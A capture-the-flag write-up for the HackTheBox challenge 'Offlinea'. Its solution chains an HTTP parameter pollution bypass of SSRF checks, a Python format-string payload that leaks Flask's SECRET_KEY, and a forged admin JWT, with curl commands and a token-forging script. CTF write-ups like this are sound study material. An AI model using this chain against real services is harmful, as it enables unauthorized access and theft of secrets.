Offlinea - HackTheBox

Description

"In a world without internet, information has a new price. One secret. One look. What are you willing to trade?"

Architecture

Two-service architecture:

1. PHP Frontend (bartender.php on port 8000) - Accepts URL, name, secret parameters with SSRF protection
2. Flask Backend (app.py on port 5000) - Internal service with endpoints:
   • /generate - Visits URLs with Selenium, stores in database
   • /bartender - Returns secrets (requires JWT with is_admin=true)
   • /logs - Shows URL history with format string vulnerability

Analysis

Vulnerability 1: SSRF via HTTP Parameter Pollution (HPP)

PHP and Flask handle multiple URL parameters differently:

• PHP uses the LAST value: $_GET['url']
• Flask uses the FIRST value: request.args.get('url')

This allows bypassing PHP's SSRF protection while making Flask visit internal URLs.

Vulnerability 2: Python Format String Injection

In the logify() function:

def logify(rec):
    history = [f"ID: {row[0]} | URL: {row[1]} | Timestamp: {row[2]}" for row in rec]
    history_1 = row_separator.join(history)
    log = history_1.format(logify=logify)  # VULNERABLE!
    return log

URLs stored in history are formatted with .format(), allowing format string injection like {logify.__globals__}.

Vulnerability 3: JWT Secret Key Leak

The Flask app's SECRET_KEY can be leaked via format string: {logify.__globals__[app].config}

Solution

Step 1: SSRF Bypass via Parameter Pollution

curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs&url=http://info.cern.ch/&name=test&secret=test"

• PHP validates info.cern.ch (passes SSRF checks - public IP, TTL >= 40)
• Flask visits 127.0.0.1:5000/logs (internal service)

Step 2: Format String Injection to Leak SECRET_KEY

# URL encode the format string payload
PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('{logify.__globals__[app].config}'))")

curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/logs?$PAYLOAD&url=http://info.cern.ch/&name=test&secret=test"

This stores a URL with format string in history. When /logs is accessed, it leaks:

SECRET_KEY': '37ba3849afca1b6c01f1cfbeffa3ee4465f5eaea1338027da703b690191d2db7'

Step 3: Forge JWT Token

#!/usr/bin/env python3
import jwt

SECRET_KEY = '37ba3849afca1b6c01f1cfbeffa3ee4465f5eaea1338027da703b690191d2db7'
payload = {'is_admin': True, 'username': 'bartender'}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
print(token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.S6PGnVRMdd7_MU8vMM6yiwwQs7KEIWpNKkHSZ6XtXd8

Step 4: Access Protected Endpoint via SSRF

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.S6PGnVRMdd7_MU8vMM6yiwwQs7KEIWpNKkHSZ6XtXd8"

curl "http://TARGET/bartender.php?url=http://127.0.0.1:5000/bartender?token=$TOKEN&url=http://info.cern.ch/&name=test&secret=test"

Response contains:

{"secrets":[{"name":"oldest_user_of_bartender","secret":"HTB{REDACTED}"},...]}

Attack Chain Summary

HPP SSRF Bypass -> Format String Injection -> SECRET_KEY Leak -> JWT Forgery -> Admin Access -> Flag

References

• HTTP Parameter Pollution: Different frameworks parse duplicate params differently
• Python format string: {obj.__globals__} leaks global namespace
• JWT: HS256 tokens can be forged with known secret